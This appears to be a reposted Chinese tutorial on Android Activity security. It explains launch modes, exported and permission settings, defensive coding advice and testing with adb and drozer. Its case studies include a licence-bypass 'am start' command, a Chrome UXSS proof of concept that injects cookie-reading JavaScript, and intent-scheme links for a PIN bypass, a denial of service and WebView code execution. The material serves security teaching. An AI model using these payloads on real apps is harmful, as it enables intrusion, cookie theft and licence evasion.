日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪(fǎng)問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 运维知识 > Android >内容正文

Android

Android Activtity Security

發(fā)布時(shí)間:2025/3/15 Android 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Android Activtity Security 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

0x00 科普


Android每一個(gè)Application都是由Activity、Service、content Provider和Broadcast Receiver等Android的基本組件所組成,其中Activity是實(shí)現(xiàn)應(yīng)用程序的主體,它承擔(dān)了大量的顯示和交互工作,甚至可以理解為一個(gè)"界面"就是一個(gè)Activity。

Activity是為用戶(hù)操作而展示的可視化用戶(hù)界面。比如說(shuō),一個(gè)activity可以展示一個(gè)菜單項(xiàng)列表供用戶(hù)選擇,或者顯示一些包含說(shuō)明的照片。一個(gè)短消息應(yīng)用程序可以包括一個(gè)用于顯示做為發(fā)送對(duì)象的聯(lián)系人的列表的activity,一個(gè)給選定的聯(lián)系人寫(xiě)短信的activity以及翻閱以前的短信和改變?cè)O(shè)置的activity。盡管它們一起組成了一個(gè)內(nèi)聚的用戶(hù)界面,但其中每個(gè)activity都與其它的保持獨(dú)立。每個(gè)都是以Activity類(lèi)為基類(lèi)的子類(lèi)實(shí)現(xiàn)。

一個(gè)應(yīng)用程序可以只有一個(gè)activity,或如剛才提到的短信應(yīng)用程序那樣,包含很多個(gè)。每個(gè)activity的作用,以及其數(shù)目,自然取決于應(yīng)用程序及其設(shè)計(jì)。一般情況下,總有一個(gè)應(yīng)用程序被標(biāo)記為用戶(hù)在應(yīng)用程序啟動(dòng)的時(shí)候第一個(gè)看到的。從一個(gè)activity轉(zhuǎn)向另一個(gè)的方式是靠當(dāng)前的activity啟動(dòng)下一個(gè)。

0x01 知識(shí)要點(diǎn)


參考:http://developer.android.com/guide/components/activities.html

生命周期

啟動(dòng)方式

顯示啟動(dòng)

配置文件中注冊(cè)組件

<activity android:name=".ExampleActivity" android:icon="@drawable/app_icon"><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter> </activity>

直接使用intent對(duì)象指定application以及activity啟動(dòng)

Intent intent = new Intent(this, ExampleActivity.class); startActivity(intent);

未配置intent-filter的action屬性,activity只能使用顯示啟動(dòng)。

私有Activity推薦使用顯示啟動(dòng)。

隱式啟動(dòng)

Intent intent = new Intent(Intent.ACTION_SEND); intent.putExtra(Intent.EXTRA_EMAIL, recipientArray); startActivity(intent);

加載模式launch mode

Activity有四種加載模式:

  • standard:默認(rèn)行為。每次啟動(dòng)一個(gè)activity,系統(tǒng)都會(huì)在目標(biāo)task新建一個(gè)實(shí)例。
  • singleTop:如果目標(biāo)activity的實(shí)例已經(jīng)存在于目標(biāo)task的棧頂,系統(tǒng)會(huì)直接使用該實(shí)例,并調(diào)用該activity的onNewIntent()(不會(huì)重新create)
  • singleTask:在一個(gè)新任務(wù)的棧頂創(chuàng)建activity的實(shí)例。如果實(shí)例已經(jīng)存在,系統(tǒng)會(huì)直接使用該實(shí)例,并調(diào)用該activity的onNewIntent()(不會(huì)重新create)
  • singleInstance:和"singleTask"類(lèi)似,但在目標(biāo)activity的task中不會(huì)再運(yùn)行其他的activity,在那個(gè)task中永遠(yuǎn)只有一個(gè)activity。

設(shè)置的位置在AndroidManifest.xml文件中activity元素的android:launchMode 屬性:

<activity android:name="ActB" android:launchMode="singleTask"></activity>

Activity launch mode 用于控制創(chuàng)建task和Activity實(shí)例。默認(rèn)“standard“模式。Standard模式一次啟動(dòng)即會(huì)生成一個(gè)新的Activity實(shí)例并且不會(huì)創(chuàng)建新的task,被啟動(dòng)的Activity和啟動(dòng)的Activity在同一個(gè)棧中。當(dāng)創(chuàng)建新的task時(shí),intent中的內(nèi)容有可能被惡意應(yīng)用讀取所以建議若無(wú)特別需求使用默認(rèn)的standard模式即不配置launch mode屬性。launchMode能被Intent 的flag覆蓋。

taskAffinity

android系統(tǒng)中task管理Activity。Task的命名取決于root Activity的affinity。

默認(rèn)情況下,app中的每個(gè)Activity都使用app的包名作為affinity。而Task的分配取決于app,故默認(rèn)情況下一個(gè)app中所有的Activity屬于同一task。要改變task的分配,可以在AndroidManifest.xml文件中設(shè)置affinity的值,但是這樣做會(huì)有不同task啟動(dòng)Activity攜帶的intent中的信息被其他應(yīng)用讀取的風(fēng)險(xiǎn)。

FLAG_ACTIVITY_NEW_TASK

intent flag中一個(gè)重要的flag

啟動(dòng)Activity時(shí)通過(guò)setFlags()或者addFlags()方法設(shè)置intent的flags屬性能夠改變launch mode,FLAG_ACTIVITY_NEW_TASK標(biāo)記代表創(chuàng)建新的task(被啟動(dòng)的Activity既不在前臺(tái)也不在后臺(tái))。FLAG_ACTIVITY_MULTIPLE_TASK標(biāo)記能和FLAG_ACTIVITY_NEW_TASK同時(shí)設(shè)置。這種情況下必會(huì)創(chuàng)建的task,所以intent中不應(yīng)攜帶敏感數(shù)據(jù)。

Task

stack:Activity承擔(dān)了大量的顯示和交互工作,從某種角度上將,我們看見(jiàn)的應(yīng)用程序就是許多個(gè)Activity的組合。為了讓這許多 Activity協(xié)同工作而不至于產(chǎn)生混亂,Android平臺(tái)設(shè)計(jì)了一種堆棧機(jī)制用于管理Activity,其遵循先進(jìn)后出的原則,系統(tǒng)總是顯示位于棧頂?shù)腁ctivity,位于棧頂?shù)腁ctivity也就是最后打開(kāi)的Activity。

Task:是指將相關(guān)的Activity組合到一起,以Activity Stack的方式進(jìn)行管理。從用戶(hù)體驗(yàn)上講,一個(gè)“應(yīng)用程序”就是一個(gè)Task,但是從根本上講,一個(gè)Task是可以有一個(gè)或多個(gè)Android Application組成的

如果用戶(hù)離開(kāi)一個(gè)task很長(zhǎng)時(shí)間,系統(tǒng)會(huì)清理?xiàng)m斠韵碌腶ctivity,這樣task被從新打開(kāi)時(shí),棧頂activity就被還原了。

Intent Selector

多個(gè)Activity具有相同action時(shí),當(dāng)此調(diào)用此action時(shí)會(huì)彈出一個(gè)選擇器供用戶(hù)選擇。

權(quán)限

android:exported

一個(gè)Activity組件能否被外部應(yīng)用啟動(dòng)取決于此屬性,設(shè)置為true時(shí)Activity可以被外部應(yīng)用啟動(dòng),設(shè)置為false則不能,此時(shí)Activity只能被自身app啟動(dòng)。(同user id或者root也能啟動(dòng))

沒(méi)有配置intent-filter的action屬性exported默認(rèn)為false(沒(méi)有filter只能通過(guò)明確的類(lèi)名來(lái)啟動(dòng)activity故相當(dāng)于只有程序本身能啟動(dòng)),配置了intent-filter的action屬性exported默認(rèn)為true。

exported屬性只是用于限制Activity是否暴露給其他app,通過(guò)配置文件中的權(quán)限申明也可以限制外部啟動(dòng)activity。

android:protectionLevel

http://developer.android.com/intl/zh-cn/guide/topics/manifest/permission-element.html

normal:默認(rèn)值。低風(fēng)險(xiǎn)權(quán)限,只要申請(qǐng)了就可以使用,安裝時(shí)不需要用戶(hù)確認(rèn)。

dangerous:像WRITE_SETTING和SEND_SMS等權(quán)限是有風(fēng)險(xiǎn)的,因?yàn)檫@些權(quán)限能夠用來(lái)重新配置設(shè)備或者導(dǎo)致話(huà)費(fèi)。使用此protectionLevel來(lái)標(biāo)識(shí)用戶(hù)可能關(guān)注的一些權(quán)限。Android將會(huì)在安裝程序時(shí),警示用戶(hù)關(guān)于這些權(quán)限的需求,具體的行為可能依據(jù)Android版本或者所安裝的移動(dòng)設(shè)備而有所變化。

signature:這些權(quán)限僅授予那些和本程序應(yīng)用了相同密鑰來(lái)簽名的程序。

signatureOrSystem:與signature類(lèi)似,除了一點(diǎn),系統(tǒng)中的程序也需要有資格來(lái)訪(fǎng)問(wèn)。這樣允許定制Android系統(tǒng)應(yīng)用也能獲得權(quán)限,這種保護(hù)等級(jí)有助于集成系統(tǒng)編譯過(guò)程。

<!-- *** POINT 1 *** Define a permission with protectionLevel="signature" --> <permission android:name="org.jssec.android.permission.protectedapp.MY_PERMISSION" android:protectionLevel="signature" /> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <!-- *** POINT 2 *** For a component, enforce the permission with its permission attribute --> <activity android:name=".ProtectedActivity" android:exported="true" android:label="@string/app_name" android:permission="org.jssec.android.permission.protectedapp.MY_PERMISSION" > <!-- *** POINT 3 *** If the component is an activity, you must define no intent-filter --> </activity>

關(guān)鍵方法

  • onCreate(Bundle savedInstanceState)
  • setResult(int resultCode, Intent data)
  • startActivity(Intent intent)
  • startActivityForResult(Intent intent, int requestCode)
  • onActivityResult(int requestCode, int resultCode, Intent data)
  • setResult (int resultCode, Intent data)
  • getStringExtra (String name)
  • addFlags(int flags)
  • setFlags(int flags)
  • setPackage(String packageName)
  • getAction()
  • setAction(String action)
  • getData()
  • setData(Uri data)
  • getExtras()
  • putExtra(String name, String value)

0x02 Activity分類(lèi)


Activity類(lèi)型和使用方式?jīng)Q定了其風(fēng)險(xiǎn)和防御方式,故將Activity分類(lèi)如下: Private、Public、Parter、In-house

private activity


私有Activity不應(yīng)被其他應(yīng)用啟動(dòng)相對(duì)是安全的

創(chuàng)建activity時(shí):

1、不指定taskAffinity //task管理activity。task的名字取決于根activity的affinity。默認(rèn)設(shè)置中Activity使用包名做為affinity。task由app分配,所以一個(gè)應(yīng)用的Activity在默認(rèn)情況下屬于相同task。跨task啟動(dòng)Activity的intent有可能被其他app讀取到。

2、不指定lunchMode //默認(rèn)standard,建議使用默認(rèn)。創(chuàng)建新task時(shí)有可能被其他應(yīng)用讀取intent的內(nèi)容。

3、設(shè)置exported屬性為false

4、謹(jǐn)慎處理從intent中接收的數(shù)據(jù),不管是否內(nèi)部發(fā)送的intent

5、敏感信息只能在應(yīng)用內(nèi)部操作

使用activity時(shí):

6、開(kāi)啟activity時(shí)不設(shè)置FLAG_ACTIVITY_NEW_TASK標(biāo)簽 //FLAG_ACTIVITY_NEW_TASK標(biāo)簽用于創(chuàng)建新task(被啟動(dòng)的Activity并未在棧中)。

7、開(kāi)啟應(yīng)用內(nèi)部activity使用顯示啟動(dòng)的方式

8、當(dāng)putExtra()包含敏感信息目的應(yīng)是app內(nèi)的activity

9、謹(jǐn)慎處理返回?cái)?shù)據(jù),即可數(shù)據(jù)來(lái)自相同應(yīng)用

public activity


公開(kāi)暴露的Activity組件,可以被任意應(yīng)用啟動(dòng)

創(chuàng)建activity:

1、設(shè)置exported屬性為true

2、謹(jǐn)慎處理接收的intent

3、有返回?cái)?shù)據(jù)時(shí)不應(yīng)包含敏感信息

使用activity:

4、不應(yīng)發(fā)送敏感信息

5、當(dāng)收到返回?cái)?shù)據(jù)時(shí)謹(jǐn)慎處理

Parter、in-house部分參閱http://www.jssec.org/dl/android_securecoding_en.pdf

安全建議

  • app內(nèi)使用的私有Activity不應(yīng)配置intent-filter,如果配置了intent-filter需設(shè)置exported屬性為false。
  • 使用默認(rèn)taskAffinity
  • 使用默認(rèn)launchMode
  • 啟動(dòng)Activity時(shí)不設(shè)置intent的FLAG_ACTIVITY_NEW_TASK標(biāo)簽
  • 謹(jǐn)慎處理接收的intent以及其攜帶的信息
  • 簽名驗(yàn)證內(nèi)部(in-house)app
  • 當(dāng)Activity返回?cái)?shù)據(jù)時(shí)候需注意目標(biāo)Activity是否有泄露信息的風(fēng)險(xiǎn)
  • 目的Activity十分明確時(shí)使用顯示啟動(dòng)
  • 謹(jǐn)慎處理Activity返回的數(shù)據(jù),目的Activity返回的數(shù)據(jù)有可能是惡意應(yīng)用偽造的
  • 驗(yàn)證目標(biāo)Activity是否惡意app,以免受到intent欺騙,可用hash簽名驗(yàn)證
  • When Providing an Asset Secondhand, the Asset should be Protected with the Same Level of Protection
  • 盡可能的不發(fā)送敏感信息,應(yīng)考慮到啟動(dòng)public Activity中intent的信息均有可能被惡意應(yīng)用竊取的風(fēng)險(xiǎn)

0x04 測(cè)試方法


查看activity:

  • 反編譯查看配置文件AndroidManifest.xml中activity組件(關(guān)注配置了intent-filter的及未設(shè)置export=“false”的)
  • 直接用RE打開(kāi)安裝后的app查看配置文件
  • Drozer掃描:run app.activity.info -a packagename
  • 動(dòng)態(tài)查看:logcat設(shè)置filter的tag為ActivityManager

啟動(dòng)activity:

  • adb shell:am start -a action -n package/componet
  • drozer: run app.activity.start --action android.action.intent.VIEW ...
  • 自己編寫(xiě)app調(diào)用startActiviy()或startActivityForResult()
  • 瀏覽器intent scheme遠(yuǎn)程啟動(dòng):http://drops.wooyun.org/tips/2893

0x05 案例


案例1:繞過(guò)本地認(rèn)證

WooYun: 華為網(wǎng)盤(pán)android客戶(hù)端本地密碼繞過(guò)(非root也可以)

繞過(guò)McAfee的key驗(yàn)證,免費(fèi)激活。

$ am start -a android.intent.action.MAIN -n com.wsandroid.suite/com.mcafee.main.MfeMain

案例2:本地拒絕服務(wù)

WooYun: 快玩瀏覽器android客戶(hù)端本地拒絕服務(wù)

WooYun: 雪球android客戶(hù)端本地拒絕服務(wù)漏洞

WooYun: Tencent Messenger(QQ) Dos vulnerability(critical)

WooYun: Tencent WeiBo multiple Dos vulnerabilities(critical)

WooYun: Android原生的Settings應(yīng)用存在必現(xiàn)崩潰問(wèn)題(可造成拒絕服務(wù)攻擊) (涉及fragment)

案例3:界面劫持

WooYun: android利用懸浮窗口實(shí)現(xiàn)界面劫持釣魚(yú)盜號(hào)

案例4:UXSS

漏洞存在于Chrome Android版本v18.0.1025123,class "com.google.android.apps.chrome.SimpleChromeActivity" 允許惡意應(yīng)用注入js代碼到任意域. 部分 AndroidManifest.xml配置文件如下

<activity android:name="com.google.android.apps.chrome.SimpleChromeActivity" android:launchMode="singleTask" android:configChanges="keyboard|keyboardHidden|orientation|screenSize"><intent-filter><action android:name="android.intent.action.VIEW" /><category android:name="android.intent.category.DEFAULT" /></intent-filter> </activity>

Class "com.google.android.apps.chrome.SimpleChromeActivity" 配置 但是未設(shè)置 "android:exported" 為 "false". 惡意應(yīng)用先調(diào)用該類(lèi)并設(shè)置data為” http://google.com” 再次調(diào)用時(shí)設(shè)置data為惡意js例如'javascript:alert(document.cookie)', 惡意代碼將在http://google.com域中執(zhí)行. "com.google.android.apps.chrome.SimpleChromeActivity" class 可以通過(guò)Android api或者am(activityManager)打開(kāi). POC如下

public class TestActivity extends Activity {@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);Intent i = new Intent();ComponentName comp = new ComponentName("com.android.chrome","com.google.android.apps.chrome.SimpleChromeActivity");i.setComponent(comp);i.setAction("android.intent.action.VIEW");Uri data = Uri.parse("http://google.com");i.setData(data);startActivity(i);try {Thread.sleep(5000);}catch (Exception e) {}data = Uri.parse("javascript:alert(document.cookie)"); i.setData(data);startActivity(i);} }

案例5:隱式啟動(dòng)intent包含敏感數(shù)據(jù)

暫缺可公開(kāi)案例,攻擊模型如下圖。

案例6:Fragment注入(繞過(guò)PIN+拒絕服務(wù))

Fragment這里只提一下,以后可能另寫(xiě)一篇。

<a href="intent:#Intent;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;launchFlags=0x00008000;SEL;action=android.settings.SETTINGS;end"> 16、bypass Pin android 3.0-4.3 (selector) </a><br>

<a href="intent:#Intent;S.:android:show_fragment=XXXX;launchFlags=0x00008000;SEL;component=com.android.settings/com.android.settings.Settings;end"> 17、fragment dos android 4.4 (selector) </a><br>

案例7:webview RCE

<a href="intent:#Intent;component=com.gift.android/.activity.WebViewIndexActivity;S.url=http://drops.wooyun.org/webview.html;S.title=WebView;end"> 15、驢媽媽代碼執(zhí)行(fixed) </a><br>

0x06 參考


http://www.jssec.org/dl/android_securecoding_en.pdf


原文地址:http://drops.wooyun.org/tips/3936

總結(jié)

以上是生活随笔為你收集整理的Android Activtity Security的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。